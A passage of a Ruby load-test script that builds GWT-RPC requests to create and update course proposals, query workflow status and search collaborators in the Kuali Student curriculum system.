-211|-267|-269|-242|-265|-238|-240|-1|-236|8|99|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|100|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|101|14|102|8|103|17|5|6|7|0|3|8|104|14|105|8|106|14|107|8|21|17|5|6|7|0|1|8|106|17|5|6|7|0|1|8|22|14|108|-311|-313|-303|-309|-297|-301|8|109|80|-275|8|76|17|5|6|7|0|3|8|77|14|110|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|111|-332|-334|-323|-330|-297|-321|8|30|14|112|8\"\n contents3 = \"|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297868|1314259992576|444000000|8|40|14|59|8|41|38|39|1866434894|1314259992576|470000000|8|42|14|113|-297|-342|8|46|14|62|8|114|17|5|6|7|0|0|-297|-360|8|21|17|5|6|7|0|1|8|101|17|5|6|7|0|1|8|22|14|115|-366|-368|-297|-364|-293|-295|-289|-291|8|30|14|116|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297859|1314259992576|435000000|8|40|14|59|8|41|38|39|1866434884|1314259992576|460000000|8|42|14|113|-289|-376|8|46|14|62|8|117|17|5|6|7|0|0|-289|-394|8|48|14|118|-285|-287|-1|-283|8|119|17|5|6|7|0|2|18|-15|14|120|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|121|-408|-410|-402|-406|-1|-400|8|30|14|122|8|123|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|124|14|125|8|21|17|5|6|7|0|1|8|124|17|5|6|7|0|1|8|22|14|126|-430|-432|-424|-428|-420|-422|-1|-418|8|127|17|5|6|7|0|0|-1|-438|8|128|14|129|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854995943|1314259992576|519000000|8|40|14|59|8|41|38|39|1866434860|1314259992576|436000000|8|42|14|130|-1|-444|8|131|10|-5|8|132|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|-211|17|5|6|7|0|1|-215|17|5|6|7|0|2|8|86|10|-221|8|87|10|-221|-479|-215|-476|-211|-484|14|89|-486|90|-235|-472|-474|-468|-470|8|21|17|5|6|7|0|2|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-494|10|-221|-497|-215|-492|-211|-468|-490|-464|-466|-1|-462|8|133|10|-5|8|134|14|135|8|46|14|62|8|136|14|137|8|117|17|5|6|7|0|2|18|-15|14|138|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|139|-519|-521|-513|-517|-1|-511|8|140|14|141|8|48|14|142|8|114|17|5|6|7|0|2|18|-15|14|143|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|144|-539|-541|-533|-537|-1|-531|8|145|17|5|6|7|0|2|18|-15|14|89|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|146|-555|-557|-549|-553|-1|-547|8|147|17|5|6|7|0|0|-1|-563|8|148|17|5|6|7|0|3|8|149|38|39|1854995943|1314259992576|519000000|8|150|90|91|1|0|8|151|14|152|-1|-567|8|21|17|5|6|7|0|3|8|134|17|5|6|7|0|1|8|22|14|153|-581|-583|8|136|17|5|6|7|0|1|8|22|14|137|-581|-589|8|13|17|5|6|7|0|1|8|22|14|154|-581|-595|-1|-579|8|155|17|5|6|7|0|12|8|156|14|157|8|30|14|158|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854996146|1314259992576|722000000|8|40|14|59|8|41|38|39|1866435719|1314259992576|295000000|8|42|14|159|-603|-609|8|44|14|160|8|161|17|5|6|7|0|1|18|-15|14|122|-603|-627|8|162|14|163|8|164|17|5|6|7|0|0|-603|-635|8|165|17|5|6|7|0|0|-603|-639|8|166|14|167|8|46|14|168|8|48|14|169|8|170|14|171|-1|-601|8|172|17|5|6|7|0|1|8|173|17|5|6|7|0|0|-653|-655|-1|-651|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:affliated_orgs_id_name], \"re\" => opts[:affliated_orgs_id_regexp]},\n {\"name\" => opts[:lab_fee_id_name], \"re\" => opts[:lab_fee_id_regexp]},\n {\"name\" => opts[:revenues_id_name], \"re\" => opts[:revenues_id_regexp]},\n {\"name\" => opts[:revenue_id_name], \"re\" => opts[:revenue_id_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/affliated_orgs_id_name/%%_#{opts[:affliated_orgs_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/lab_fee_id_name/%%_#{opts[:lab_fee_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/revenues_id_name/%%_#{opts[:revenues_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/revenue_id_name/%%_#{opts[:revenue_id_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|isAuthorizedAddReviewer|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|isAuthorizedRemoveReviewers|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Authors and Collaborators\n #\n\n @request.add_thinktime(5)\n\n if(!opts[:collaborator].nil?)\n # Collaborator seach\n for i in 1..opts[:collaborator].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|person.queryParam.personGivenName|#{opts[:collaborator][0..itr]}|person.queryParam.excludedUserId|psycho1|person.search.personQuickViewByGivenName|person.resultColumn.DisplayName|1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|0|12|13|14|0|0|\"\n } \n ) \n end\n\n @request.add_thinktime(5)\n\n\n contents1 = \"5|0|192|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|2|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|1|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|10|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|3|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|5|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|7|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|principalId|#{opts[:collaborator]}|permission|KS-SYS~Edit Document|action|F|firstName|lastName|actionRequestStatus|New|author\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1864356667|1314259992576|243000000|8|40|14|59|8|41|38|39|1867163616|1314259992576|192000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297882|1314259992576|458000000|8|40|14|59|8|41|38|39|1861297882|1314259992576|458000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1867163501|1314259992576|77000000|8|40|14|59|8|41|38|39|1867163502|1314259992576|78000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37\"\n contents3 = \"|38|39|1861297868|1314259992576|444000000|8|40|14|59|8|41|38|39|1867163581|1314259992576|157000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1861297859|1314259992576|435000000|8|40|14|59|8|41|38|39|1867163562|1314259992576|138000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428|-432|-424|-426|-1|-422|8|133|17|5|6|7|0|0|-1|-442|8|134|14|135|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854995943|1314259992576|519000000|8|40|14|59|8|41|38|39|1867163502|1314259992576|78000000|8|42|14|136|-1|-448|8|137|10|-5|8|138|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|139|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-491|-493|-480|-489|-476|-478|-472|-474|8|97|14|140|8|30|14|141|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1867163501|1314259992576|77000000|8|40|14|59|8|41|38|39|1867163502|1314259992576|78000000|8|42|14|100|-472|-503|-468|-470|-1|-466|8|142|10|-5|8|143|14|144|8|46|14|62|8|145|14|146|8|123|17|5|6|7|0|2|18|-15|14|147|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|148|-535|-537|-529|-533|-1|-527|8|149|14|150|8|48|14|151|8|120|17|5|6|7|0|2|18|-15|14|152|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|153|-555|-557|-549|-553|-1|-547|8|154|17|5|6|7|0|2|18|-15|14|87|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|91|-571|-573|-565|-569|-1|-563|8|155|17|5|6|7|0|0|-1|-579|8|156|17|5|6|7|0|3|8|157|38|39|1854995943|1314259992576|519000000|8|158|89|90|1|0|8|159|14|160|-1|-583|8|21|17|5|6|7|0|3|8|143|17|5|6|7|0|1|8|22|14|161|-597|-599|8|145|17|5|6|7|0|1|8|22|14|146|-597|-605|8|13|17|5|6|7|0|1|8|22|14|162|-597|-611|-1|-595|8|163|17|5|6|7|0|12|8|164|14|165|8|30|14|166|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|1854996146|1314259992576|722000000|8|40|14|59|8|41|38|39|1867164349|1314259992576|925000000|8|42|14|167|-619|-625|8|44|14|168|8|169|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|170|14|171|8|172|17|5|6|7|0|0|-619|-651|8|173|17|5|6|7|0|0|-619|-655|8|174|14|175|8|46|14|176|8|48|14|177|8|178|14|179|-1|-617|8|180|17|5|6|7|0|1|8|181|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|182|14|183|8|184|14|185|8|186|14|187|8|188|14|183|8|189|14|183|8|190|14|191|8|192|10|-5|-673|-675|-669|-671|-1|-667|0|0|\"\n else\n # UPDATE\n contents1 = \"5|0|179|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|2|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|%%_#{opts[:affliated_orgs_id_name]}%%|orgId|%%_#{opts[:admin_dep_var_name]}%%|percentage|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|#{admin_org}|fees|feeAmounts|currencyQuantity|currencyTypeKey|kuali.currency.type.usdollars.cents|feeType|kuali.enum.type.feeTypes.labFee|%%_#{opts[:lab_fee_id_name]}%%|1|rateType|fixedRateFee|Fixed Rate Fee|Laboratory Fee|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|3|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|pilotCourse|revenues|%%_#{opts[:revenues_id_name]}%%|REVENUE|%%_#{opts[:revenue_id_name]}%%|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|7|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491266071|1309965025280|351000000|8|40|14|59|8|41|38|39|3491272352|1309965025280|632000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|8|30|14|85|8|86|14|87|8|88|89|90|100|0|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|91|-220|-222|-209|-218|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|93|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|94|80|19|100|8|95|14|96|-238|-240|-234|-236|8|97|14|98|8|30|14|99|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491272235|1309965025280|515000000|8|40|14|59|8|41|38|39|3491272236|1309965025280|516000000|8|42|14|100|-234|-253|8|101|14|102|8|21|17|5|6|7|0|2|8|101|17|5|6|7|0|1|8|22|14|103|-273|-275|8|97|17|5|6|7|0|1|8|22|14|104|-273|-281|-234|-271|-230|-232|-1|-228|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|106|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|107|14|108|8|109|17|5|6|7|0|3|8|110|14|111|8|112|14|113|8|21|17|5|6|7|0|1|8|112|17|5|6|7|0|1|8|22|14|114|-315|-317|-307|-313|-301|-305|8|115|80|-246|8|76|17|5|6|7|0|3|8|77|14|116|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|117|-336|-338|-327|-334|-301|-325|8|30|14|118|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491262219|1309965025280|499000000|8|40|14|59|8|41|38|39|3491272295|1309965025280|575000000|8|42|14|119|-301|-346|8|46|14|62|8|120|17|5|6|7|0|0|-301|-364|8|21|17|5|6|7|0|1|8|107|17|5|6|7|0|1|8|22|14|121|-370|-372|-301|-368|-297|-299|-293|-295|8|30|14|122|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3491262210|1309965025280|490000000|8|40|14|59|8|41|38|39|3491272289|1309965025280|569000000|8|42|14|119|-293|-380|8|46|14|62|8|123|17|5|6|7|0|0|-293|-398|8|48|14|124|-289|-291|-1|-287|8|125|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-412|-414|-406|-410|-1|-404|8|30|14|128|8|129|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|130|14|131|8|21|17|5|6|7|0|1|8|130|17|5|6|7|0|1|8|22|14|132|-434|-436|-428\"\n contents3 = 